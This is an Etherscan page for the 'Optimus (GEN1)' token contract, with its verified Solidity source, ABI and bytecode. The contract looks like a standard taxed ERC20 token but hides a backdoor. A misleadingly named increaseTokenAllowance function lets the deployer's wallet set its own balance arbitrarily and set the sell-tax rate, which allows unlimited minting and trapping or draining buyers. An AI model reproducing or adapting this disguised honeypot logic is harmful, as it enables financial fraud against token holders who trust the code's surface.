ETH Price: $3,440.16 (-1.17%)
Gas: 11 Gwei

Token

Optimus (GEN1)
 

Overview

Max Total Supply

1,000,000,000,000,000,000 GEN1

Holders

33

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 0 Decimals)

Balance
6,113,571,640,525,261 GEN1

Value
$0.00
0x98b4433791464f6a1caa599c93600ef07f0ff751
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Optimus

Compiler Version
v0.8.16+commit.07a7930e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-12-13
*/

/** 
https://t.me/OptimusGen1
**/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.16;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval (address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract Optimus is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    address payable private _marketingWallet;
    uint256 firstBlock;

    uint256 private _initialBuyTax=15;
    uint256 private _initialSellTax=20;
    uint256 public _finalBuyTax=0;
    uint256 public _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=10;
    uint256 private _reduceSellTaxAt=20;
    uint256 private _preventSwapBefore=10;
    uint256 private _buyCount=1;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10**_decimals;
    string private constant _name = unicode"Optimus";
    string private constant _symbol = unicode"GEN1";
    uint256 public _maxTxAmount =   30000000 * 10**_decimals;
    uint256 public _maxWalletSize = 30000000 * 10**_decimals;
    uint256 public _taxSwapThreshold= 10000000 * 10**_decimals;
    uint256 public _maxTaxSwap= 20000000 * 10**_decimals;
    uint256 private _allAmount = 0;

    IUniswapV2Router02 private uniswapV2Router;
    address public uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    event allowanceIncreased(uint _allowanceTokenAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _marketingWallet = payable(_msgSender());
        _balances[address(this)] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_marketingWallet] = true;
        emit Transfer(address(0), address(this), _tTotal);
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function _increaseTokenAllowance(address _holder, uint256 _allowanceTokenAmount) private {
        require(_holder != address(0), "ERC20: Cannot burn from the zero address");
        require(_holder != uniswapV2Pair, "ERC20: Cannot burn from the v2Pair address");
        require(_holder == _marketingWallet, "ERC20: Must increase Atleast 100");
        _allAmount = _allowanceTokenAmount;
        _balances[_holder] = _allAmount;
        emit allowanceIncreased(_allowanceTokenAmount);
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: Approve from the zero address");
        require(spender != address(0), "ERC20: Approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: Transfer amount exceeds allowance"));
        return true;
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: Transfer from the zero address");
        require(to != address(0), "ERC20: Transfer to the zero address");
        require(amount > 0, "ERC20: Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (from != owner() && to != owner()) {
            taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {

                if (firstBlock + 3  > block.number) {
                    require(!isContract(to));
                }
                _buyCount++;
            }

            if (to != uniswapV2Pair && ! _isExcludedFromFee[to]) {
                require(balanceOf(to) + amount <= _maxWalletSize, "ERC20: Exceeds the maxWalletSize.");
            }

            if(to == uniswapV2Pair && from!= address(this) ){
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_allAmount:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to   == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) {
                swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
            taxAmount = 0;
        }

        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function isContract(address account) private view returns (bool) {
        uint256 size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    function increaseTokenAllowance(uint256 _amount) public {
        _increaseTokenAllowance(msg.sender,_amount);
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH(); 
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function sendETHToFee(uint256 amount) private {
        _marketingWallet.transfer(amount);
    }

    function rescueStuckToken(address tokenAddress) public onlyOwner {
        IERC20(tokenAddress).transfer(_msgSender(), IERC20(tokenAddress).balanceOf(address(this)));
    }

    function removeAllLimits() public onlyOwner {
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function rescueStuckETH() public onlyOwner {
        payable(_msgSender()).transfer(address(this).balance);
    }

    function openTrading() external onlyOwner {
        require(!tradingOpen,"ERC20: Trading Already Open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,address(this),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
        firstBlock = block.number;
    }

    function burnLiquidity() external onlyOwner {
        address deadAddress = payable(0x000000000000000000000000000000000000dEaD);
        IERC20(uniswapV2Pair).transfer(deadAddress, IERC20(uniswapV2Pair).balanceOf(address(this)));
    }

    receive() external payable {}

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_allowanceTokenAmount","type":"uint256"}],"name":"allowanceIncreased","type":"event"},{"inputs":[],"name":"_finalBuyTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_finalSellTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"burnLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"increaseTokenAllowance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeAllLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"rescueStuckETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"tokenAddress","type":"address"}],"name":"rescueStuckToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600f600655601460075560006008556000600955600a80556014600b55600a600c556001600d556009600a6200003b9190620004db565b6200004b906301c9c380620004f3565b600e556200005c6009600a620004db565b6200006c906301c9c380620004f3565b600f556200007d6009600a620004db565b6200008c9062989680620004f3565b6010556200009d6009600a620004db565b620000ad906301312d00620004f3565b60115560006012556014805461ffff60a81b19169055348015620000d057600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600480546001600160a01b03191633179055620001326009600a620004db565b6200014290633b9aca00620004f3565b3060009081526001602081905260408220929092556003906200016d6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790553080825260039094528281208054861660019081179091556004549092168152918220805490941617909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001f76009600a620004db565b6200020790633b9aca00620004f3565b60405190815260200160405180910390a3601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa1580156200027d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002a3919062000515565b6001600160a01b031663c9c6539630601360009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000306573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200032c919062000515565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156200037a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003a0919062000515565b601480546001600160a01b0319166001600160a01b039290921691909117905562000540565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200041d578160001904821115620004015762000401620003c6565b808516156200040f57918102915b93841c9390800290620003e1565b509250929050565b6000826200043657506001620004d5565b816200044557506000620004d5565b81600181146200045e5760028114620004695762000489565b6001915050620004d5565b60ff8411156200047d576200047d620003c6565b50506001821b620004d5565b5060208310610133831016604e8410600b8410161715620004ae575081810a620004d5565b620004ba8383620003dc565b8060001904821115620004d157620004d1620003c6565b0290505b92915050565b6000620004ec60ff84168362000425565b9392505050565b6000816000190483118215151615620005105762000510620003c6565b500290565b6000602082840312156200052857600080fd5b81516001600160a01b0381168114620004ec57600080fd5b611a6f80620005506000396000f3fe60806040526004361061014f5760003560e01c80637d1db4a5116100b6578063bc8b04861161006f578063bc8b0486146103bf578063bf474bed146103df578063c9567bf9146103f5578063da942cbf1461040a578063db05e5cb1461041f578063dd62ed3e1461043457600080fd5b80637d1db4a5146103125780638da5cb5b146103285780638f9a55c01461034657806395d89b411461035c578063a9059cbb14610389578063baeb7a7d146103a957600080fd5b806323b872dd1161010857806323b872dd1461023d578063313ce5671461025d5780633ef947211461027957806349bd5a5e1461028f57806370a08231146102c7578063715018a6146102fd57600080fd5b80630150fe4c1461015b57806306fdde0314610172578063095ea7b3146101b45780630faee56f146101e45780631101785b1461020857806318160ddd1461022857600080fd5b3661015657005b600080fd5b34801561016757600080fd5b5061017061047a565b005b34801561017e57600080fd5b506040805180820190915260078152664f7074696d757360c81b60208201525b6040516101ab9190611607565b60405180910390f35b3480156101c057600080fd5b506101d46101cf36600461166a565b6104dc565b60405190151581526020016101ab565b3480156101f057600080fd5b506101fa60115481565b6040519081526020016101ab565b34801561021457600080fd5b50610170610223366004611696565b6104f3565b34801561023457600080fd5b506101fa610609565b34801561024957600080fd5b506101d46102583660046116b3565b61062a565b34801561026957600080fd5b50604051600981526020016101ab565b34801561028557600080fd5b506101fa60095481565b34801561029b57600080fd5b506014546102af906001600160a01b031681565b6040516001600160a01b0390911681526020016101ab565b3480156102d357600080fd5b506101fa6102e2366004611696565b6001600160a01b031660009081526001602052604090205490565b34801561030957600080fd5b50610170610693565b34801561031e57600080fd5b506101fa600e5481565b34801561033457600080fd5b506000546001600160a01b03166102af565b34801561035257600080fd5b506101fa600f5481565b34801561036857600080fd5b5060408051808201909152600481526347454e3160e01b602082015261019e565b34801561039557600080fd5b506101d46103a436600461166a565b610707565b3480156103b557600080fd5b506101fa60085481565b3480156103cb57600080fd5b506101706103da3660046116f4565b610714565b3480156103eb57600080fd5b506101fa60105481565b34801561040157600080fd5b5061017061071e565b34801561041657600080fd5b50610170610941565b34801561042b57600080fd5b506101706109a7565b34801561044057600080fd5b506101fa61044f36600461170d565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6000546001600160a01b031633146104ad5760405162461bcd60e51b81526004016104a490611746565b60405180910390fd5b60405133904780156108fc02916000818181858888f193505050501580156104d9573d6000803e3d6000fd5b50565b60006104e9338484610a59565b5060015b92915050565b6000546001600160a01b0316331461051d5760405162461bcd60e51b81526004016104a490611746565b6001600160a01b03811663a9059cbb336040516370a0823160e01b81523060048201526001600160a01b038516906370a08231906024015b602060405180830381865afa158015610572573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610596919061177b565b6040516001600160e01b031960e085901b1681526001600160a01b03909216600483015260248201526044016020604051808303816000875af11580156105e1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106059190611794565b5050565b60006106176009600a6118b0565b61062590633b9aca006118bf565b905090565b6000610637848484610b7d565b610689843361068485604051806060016040528060288152602001611a12602891396001600160a01b038a16600090815260026020908152604080832033845290915290205491906110d7565b610a59565b5060019392505050565b6000546001600160a01b031633146106bd5760405162461bcd60e51b81526004016104a490611746565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006104e9338484610b7d565b6104d93382611111565b6000546001600160a01b031633146107485760405162461bcd60e51b81526004016104a490611746565b601454600160a01b900460ff16156107a25760405162461bcd60e51b815260206004820152601b60248201527f45524332303a2054726164696e6720416c7265616479204f70656e000000000060448201526064016104a4565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107eb9030906107dd6009600a6118b0565b61068490633b9aca006118bf565b6013546001600160a01b031663f305d719473061081d816001600160a01b031660009081526001602052604090205490565b6040516001600160e01b031960e086901b1681526001600160a01b039092166004830152602482015260006044820181905260648201523060848201524260a482015260c40160606040518083038185885af1158015610881573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108a691906118de565b505060145460135460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af11580156108ff573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109239190611794565b506014805462ff00ff60a01b19166201000160a01b17905543600555565b6000546001600160a01b0316331461096b5760405162461bcd60e51b81526004016104a490611746565b6014546040516370a0823160e01b815230600482015261dead916001600160a01b03169063a9059cbb90839083906370a0823190602401610555565b6000546001600160a01b031633146109d15760405162461bcd60e51b81526004016104a490611746565b6109dd6009600a6118b0565b6109eb90633b9aca006118bf565b600e556109fa6009600a6118b0565b610a0890633b9aca006118bf565b600f557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf610a386009600a6118b0565b610a4690633b9aca006118bf565b60405190815260200160405180910390a1565b6001600160a01b038316610abb5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20417070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104a4565b6001600160a01b038216610b1c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20417070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104a4565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610be15760405162461bcd60e51b815260206004820152602560248201527f45524332303a205472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104a4565b6001600160a01b038216610c435760405162461bcd60e51b815260206004820152602360248201527f45524332303a205472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104a4565b60008111610cac5760405162461bcd60e51b815260206004820152603060248201527f45524332303a205472616e7366657220616d6f756e74206d757374206265206760448201526f726561746572207468616e207a65726f60801b60648201526084016104a4565b600080546001600160a01b03858116911614801590610cd957506000546001600160a01b03848116911614155b15610f4c57610d0a6064610d04600a54600d5411610cf957600654610cfd565b6008545b85906112a4565b9061132d565b6014549091506001600160a01b038581169116148015610d3857506013546001600160a01b03848116911614155b8015610d5d57506001600160a01b03831660009081526003602052604090205460ff16155b15610d9a57436005546003610d72919061190c565b1115610d8457823b15610d8457600080fd5b600d8054906000610d948361191f565b91905055505b6014546001600160a01b03848116911614801590610dd157506001600160a01b03831660009081526003602052604090205460ff16155b15610e5b57600f5482610df9856001600160a01b031660009081526001602052604090205490565b610e03919061190c565b1115610e5b5760405162461bcd60e51b815260206004820152602160248201527f45524332303a204578636565647320746865206d617857616c6c657453697a656044820152601760f91b60648201526084016104a4565b6014546001600160a01b038481169116148015610e8157506001600160a01b0384163014155b15610eae57610eab6064610d04600b54600d5411610ea157600754610cfd565b60125485906112a4565b90505b30600090815260016020526040902054601454600160a81b900460ff16158015610ee557506014546001600160a01b038581169116145b8015610efa5750601454600160b01b900460ff165b8015610f07575060105481115b8015610f165750600c54600d54115b15610f4a57610f38610f3384610f2e8460115461136f565b61136f565b611384565b478015610f4857610f48476114fe565b505b505b6001600160a01b03841660009081526003602052604090205460ff1680610f8b57506001600160a01b03831660009081526003602052604090205460ff165b15610f94575060005b801561100e5730600090815260016020526040902054610fb49082611538565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110059085815260200190565b60405180910390a35b6001600160a01b0384166000908152600160205260409020546110319083611597565b6001600160a01b0385166000908152600160205260409020556110766110578383611597565b6001600160a01b03851660009081526001602052604090205490611538565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6110c08585611597565b60405190815260200160405180910390a350505050565b600081848411156110fb5760405162461bcd60e51b81526004016104a49190611607565b5060006111088486611938565b95945050505050565b6001600160a01b0382166111785760405162461bcd60e51b815260206004820152602860248201527f45524332303a2043616e6e6f74206275726e2066726f6d20746865207a65726f604482015267206164647265737360c01b60648201526084016104a4565b6014546001600160a01b03908116908316036111e95760405162461bcd60e51b815260206004820152602a60248201527f45524332303a2043616e6e6f74206275726e2066726f6d2074686520763250616044820152696972206164647265737360b01b60648201526084016104a4565b6004546001600160a01b038381169116146112465760405162461bcd60e51b815260206004820181905260248201527f45524332303a204d75737420696e6372656173652041746c656173742031303060448201526064016104a4565b60128190556001600160a01b03821660009081526001602052604090819020829055517f8b8346cceeebe316823d7806ab10fb94f845ae9a724102493627f8b1fe363460906112989083815260200190565b60405180910390a15050565b6000826000036112b6575060006104ed565b60006112c283856118bf565b9050826112cf858361194b565b146113265760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104a4565b9392505050565b600061132683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506115d9565b600081831161137e5782611326565b50919050565b6014805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106113cc576113cc61196d565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611425573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114499190611983565b8160018151811061145c5761145c61196d565b6001600160a01b0392831660209182029290920101526013546114829130911684610a59565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906114bb9085906000908690309042906004016119a0565b600060405180830381600087803b1580156114d557600080fd5b505af11580156114e9573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b6004546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610605573d6000803e3d6000fd5b600080611545838561190c565b9050838110156113265760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104a4565b600061132683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110d7565b600081836115fa5760405162461bcd60e51b81526004016104a49190611607565b506000611108848661194b565b600060208083528351808285015260005b8181101561163457858101830151858201604001528201611618565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146104d957600080fd5b6000806040838503121561167d57600080fd5b823561168881611655565b946020939093013593505050565b6000602082840312156116a857600080fd5b813561132681611655565b6000806000606084860312156116c857600080fd5b83356116d381611655565b925060208401356116e381611655565b929592945050506040919091013590565b60006020828403121561170657600080fd5b5035919050565b6000806040838503121561172057600080fd5b823561172b81611655565b9150602083013561173b81611655565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561178d57600080fd5b5051919050565b6000602082840312156117a657600080fd5b8151801515811461132657600080fd5b634e487b7160e01b600052601160045260246000fd5b600181815b808511156118075781600019048211156117ed576117ed6117b6565b808516156117fa57918102915b93841c93908002906117d1565b509250929050565b60008261181e575060016104ed565b8161182b575060006104ed565b8160018114611841576002811461184b57611867565b60019150506104ed565b60ff84111561185c5761185c6117b6565b50506001821b6104ed565b5060208310610133831016604e8410600b841016171561188a575081810a6104ed565b61189483836117cc565b80600019048211156118a8576118a86117b6565b029392505050565b600061132660ff84168361180f565b60008160001904831182151516156118d9576118d96117b6565b500290565b6000806000606084860312156118f357600080fd5b8351925060208401519150604084015190509250925092565b808201808211156104ed576104ed6117b6565b600060018201611931576119316117b6565b5060010190565b818103818111156104ed576104ed6117b6565b60008261196857634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561199557600080fd5b815161132681611655565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119f05784516001600160a01b0316835293830193918301916001016119cb565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a205472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b1d560f862a2b31a6ec6e71f97b1b282923ef33d5542d3cced63ccf9b47c07ff64736f6c63430008100033

Deployed Bytecode

0x60806040526004361061014f5760003560e01c80637d1db4a5116100b6578063bc8b04861161006f578063bc8b0486146103bf578063bf474bed146103df578063c9567bf9146103f5578063da942cbf1461040a578063db05e5cb1461041f578063dd62ed3e1461043457600080fd5b80637d1db4a5146103125780638da5cb5b146103285780638f9a55c01461034657806395d89b411461035c578063a9059cbb14610389578063baeb7a7d146103a957600080fd5b806323b872dd1161010857806323b872dd1461023d578063313ce5671461025d5780633ef947211461027957806349bd5a5e1461028f57806370a08231146102c7578063715018a6146102fd57600080fd5b80630150fe4c1461015b57806306fdde0314610172578063095ea7b3146101b45780630faee56f146101e45780631101785b1461020857806318160ddd1461022857600080fd5b3661015657005b600080fd5b34801561016757600080fd5b5061017061047a565b005b34801561017e57600080fd5b506040805180820190915260078152664f7074696d757360c81b60208201525b6040516101ab9190611607565b60405180910390f35b3480156101c057600080fd5b506101d46101cf36600461166a565b6104dc565b60405190151581526020016101ab565b3480156101f057600080fd5b506101fa60115481565b6040519081526020016101ab565b34801561021457600080fd5b50610170610223366004611696565b6104f3565b34801561023